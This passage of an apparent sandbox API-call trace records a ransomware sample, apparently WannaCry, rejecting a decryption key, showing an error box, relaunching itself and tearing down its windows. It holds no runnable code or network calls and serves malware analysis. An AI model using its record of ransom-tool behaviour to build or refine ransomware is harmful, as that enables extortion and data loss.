wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ecf0) returned 0 [0036.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.793] PeekMessageW (in: lpMsg=0x26a4a5e450, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e450) returned 0 [0036.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.794] CryptDestroyKey (hKey=0x26a4c75c00) returned 1 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ecf0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ecf0) returned 0 [0036.794] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e9d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e9d0) returned 0 [0036.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e6b0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e6b0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e9d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e9d0) returned 0 [0036.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e3c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e3c0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e9d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e9d0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e9d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e9d0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ecf0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ecf0) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.794] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e870) returned 0 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.794] PeekMessageW (in: lpMsg=0x26a4a5e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e900) returned 0 [0036.795] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0036.795] PeekMessageW (in: lpMsg=0x26a4a5e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e900) returned 0 [0036.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.795] CryptReleaseContext (hProv=0x26a4cb6e00, dwFlags=0x0) returned 1 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.795] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e900) returned 0 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.795] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.796] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.796] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.796] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0036.804] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.804] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x0, lParam=0xa017e) returned 0x1 [0036.804] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.804] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.805] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x6, wParam=0x0, lParam=0xa017e) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongW (hWnd=0x7004e, nIndex=-20) returned 256 [0036.806] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x84, wParam=0x0, lParam=0x2030378) returned 0x1 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetClientRect (in: hWnd=0x7004e, lpRect=0x26a4a5ec10 | out: lpRect=0x26a4a5ec10) returned 1 [0036.806] GetCursorPos (in: lpPoint=0x26a4a5ec30 | out: lpPoint=0x26a4a5ec30*(x=888, y=515)) returned 1 [0036.806] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5ec30 | out: lpPoint=0x26a4a5ec30) returned 1 [0036.806] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0036.806] SetCursor (hCursor=0x10003) returned 0x10007 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x200, wParam=0x0, lParam=0x18d0237) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.806] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.806] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.806] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5e790) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.806] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.806] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5e790) returned 0x0 [0036.806] GetForegroundWindow () returned 0xa017e [0036.806] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0036.808] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.808] GetWindowLongW (hWnd=0x7004e, nIndex=-20) returned 256 [0036.808] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x84, wParam=0x0, lParam=0x2030378) returned 0x1 [0036.808] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.809] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.809] GetClientRect (in: hWnd=0x7004e, lpRect=0x26a4a5ec10 | out: lpRect=0x26a4a5ec10) returned 1 [0036.809] GetCursorPos (in: lpPoint=0x26a4a5ec30 | out: lpPoint=0x26a4a5ec30*(x=888, y=515)) returned 1 [0036.809] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5ec30 | out: lpPoint=0x26a4a5ec30) returned 1 [0036.809] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0036.809] SetCursor (hCursor=0x10003) returned 0x10003 [0036.809] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.809] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x200, wParam=0x0, lParam=0x18d0237) returned 0x0 [0036.850] GetForegroundWindow () returned 0xa017e [0036.850] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0036.897] GetForegroundWindow () returned 0xa017e [0036.897] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0036.944] GetForegroundWindow () returned 0xa017e [0036.944] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0036.991] GetForegroundWindow () returned 0xa017e [0036.992] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0037.040] GetForegroundWindow () returned 0xa017e [0037.041] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0037.094] Shell_NotifyIconW (dwMessage=0x1, lpData=0x26a4a5e590) returned 1 [0037.095] KillTimer (hWnd=0x5002c, uIDEvent=0x1) returned 1 [0037.095] SetTimer (hWnd=0x5002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0037.095] GetForegroundWindow () returned 0xa017e [0037.095] GetWindowLongPtrW (hWnd=0xa017e, nIndex=-21) returned 0x26a4a5f330 [0037.132] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.132] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x46, wParam=0x0, lParam=0x26a4a5eef0) returned 0x0 [0037.133] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.133] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x47, wParam=0x0, lParam=0x26a4a5eef0) returned 0x0 [0037.133] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.133] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0037.133] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0037.133] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.133] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0037.133] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.134] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.134] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0037.138] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0037.138] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.138] GetWindowLongW (hWnd=0x7004e, nIndex=-20) returned 256 [0037.138] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x84, wParam=0x0, lParam=0x1fb02fd) returned 0x1 [0037.138] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.138] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.138] GetClientRect (in: hWnd=0x7004e, lpRect=0x26a4a5f170 | out: lpRect=0x26a4a5f170) returned 1 [0037.138] GetCursorPos (in: lpPoint=0x26a4a5f190 | out: lpPoint=0x26a4a5f190*(x=765, y=507)) returned 1 [0037.138] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f190 | out: lpPoint=0x26a4a5f190) returned 1 [0037.138] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0037.138] SetCursor (hCursor=0x10003) returned 0x10003 [0037.138] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0037.138] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0037.138] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.138] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x200, wParam=0x0, lParam=0x18501bc) returned 0x0 [0037.138] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0037.138] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0037.138] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetSysColor (nIndex=15) returned 0xf0f0f0 [0037.139] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetSysColor (nIndex=15) returned 0xf0f0f0 [0037.139] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0037.139] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.139] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0037.139] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0037.140] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0037.140] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0037.140] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0037.140] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0037.140] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0037.140] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0037.140] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0037.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0037.141] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0x26a4ca7630 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0037.141] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0x26a4a5f0e0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26a4a5f070 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0x26a4a5f070*(hProcess=0x194, hThread=0x1dc, dwProcessId=0x9c0, dwThreadId=0x9c8)) returned 1 [0037.153] CloseHandle (hObject=0x1dc) returned 1 [0037.153] CloseHandle (hObject=0x194) returned 1 [0037.153] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 1 [0037.153] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f1a0) returned 0 [0037.153] TranslateMessage (lpMsg=0x26a4a5f1a0) returned 0 [0037.153] DispatchMessageW (lpMsg=0x26a4a5f1a0) returned 0x0 [0037.153] GetForegroundWindow () returned 0x7004e [0037.153] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.153] GetCursorPos (in: lpPoint=0x26a4a5f000 | out: lpPoint=0x26a4a5f000*(x=765, y=507)) returned 1 [0037.153] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f000 | out: lpPoint=0x26a4a5f000) returned 1 [0037.153] GetAsyncKeyState (vKey=1) returned 1 [0037.153] GetAsyncKeyState (vKey=2) returned 0 [0037.153] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0037.153] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0037.153] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0037.154] LockWindowUpdate (hWndLock=0x0) returned 0 [0037.154] DestroyWindow (hWnd=0x5002c) returned 1 [0037.154] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0037.154] KillTimer (hWnd=0x5002c, uIDEvent=0x1) returned 1 [0037.154] Shell_NotifyIconW (dwMessage=0x2, lpData=0x26a4a5ee90) returned 1 [0037.159] DestroyWindow (hWnd=0x7004e) returned 1 [0037.159] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.159] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0037.159] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.159] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x46, wParam=0x0, lParam=0x26a4a5f200) returned 0x0 [0037.171] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.171] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x47, wParam=0x0, lParam=0x26a4a5f200) returned 0x0 [0037.171] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.171] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0037.171] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.171] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.171] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0037.172] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.172] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0037.172] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0037.172] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.172] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.172] InvalidateRect (hWnd=0x7004e, lpRect=0x0, bErase=1) returned 1 [0037.172] DestroyAcceleratorTable (hAccel=0x600a1) returned 1 [0037.172] DeleteObject (ho=0xb0a06e0) returned 1 [0037.172] DestroyWindow (hWnd=0x301ea) returned 1 [0037.172] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.172] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x30002, lParam=0x301ea) returned 0x0 [0037.172] DestroyWindow (hWnd=0x6018a) returned 1 [0037.172] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.172] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x40002, lParam=0x6018a) returned 0x0 [0037.173] DeleteObject (ho=0x500a06d8) returned 1 [0037.173] DestroyWindow (hWnd=0x601e6) returned 1 [0037.173] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.173] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x50002, lParam=0x601e6) returned 0x0 [0037.173] DeleteObject (ho=0x2a0a05c5) returned 1 [0037.173] DestroyWindow (hWnd=0x3011c) returned 1 [0037.173] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.173] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x60002, lParam=0x3011c) returned 0x0 [0037.174] DeleteObject (ho=0x80a06e1) returned 1 [0037.174] DestroyWindow (hWnd=0x90020) returned 1 [0037.174] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.174] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x70002, lParam=0x90020) returned 0x0 [0037.174] DeleteObject (ho=0x130a06de) returned 1 [0037.174] DestroyWindow (hWnd=0xa001e) returned 1 [0037.174] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.174] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x80002, lParam=0xa001e) returned 0x0 [0037.175] KillTimer (hWnd=0x0, uIDEvent=0x7f8c) returned 1 [0037.175] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.183] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0037.183] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.183] DeleteObject (ho=0x1610080e) returned 1 [0037.183] DeleteObject (ho=0x1a1007e2) returned 1 [0037.183] DeleteObject (ho=0xc1006df) returned 1 [0037.184] PostQuitMessage (nExitCode=0) [0037.184] GetMessageW (in: lpMsg=0x26a4a5f618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 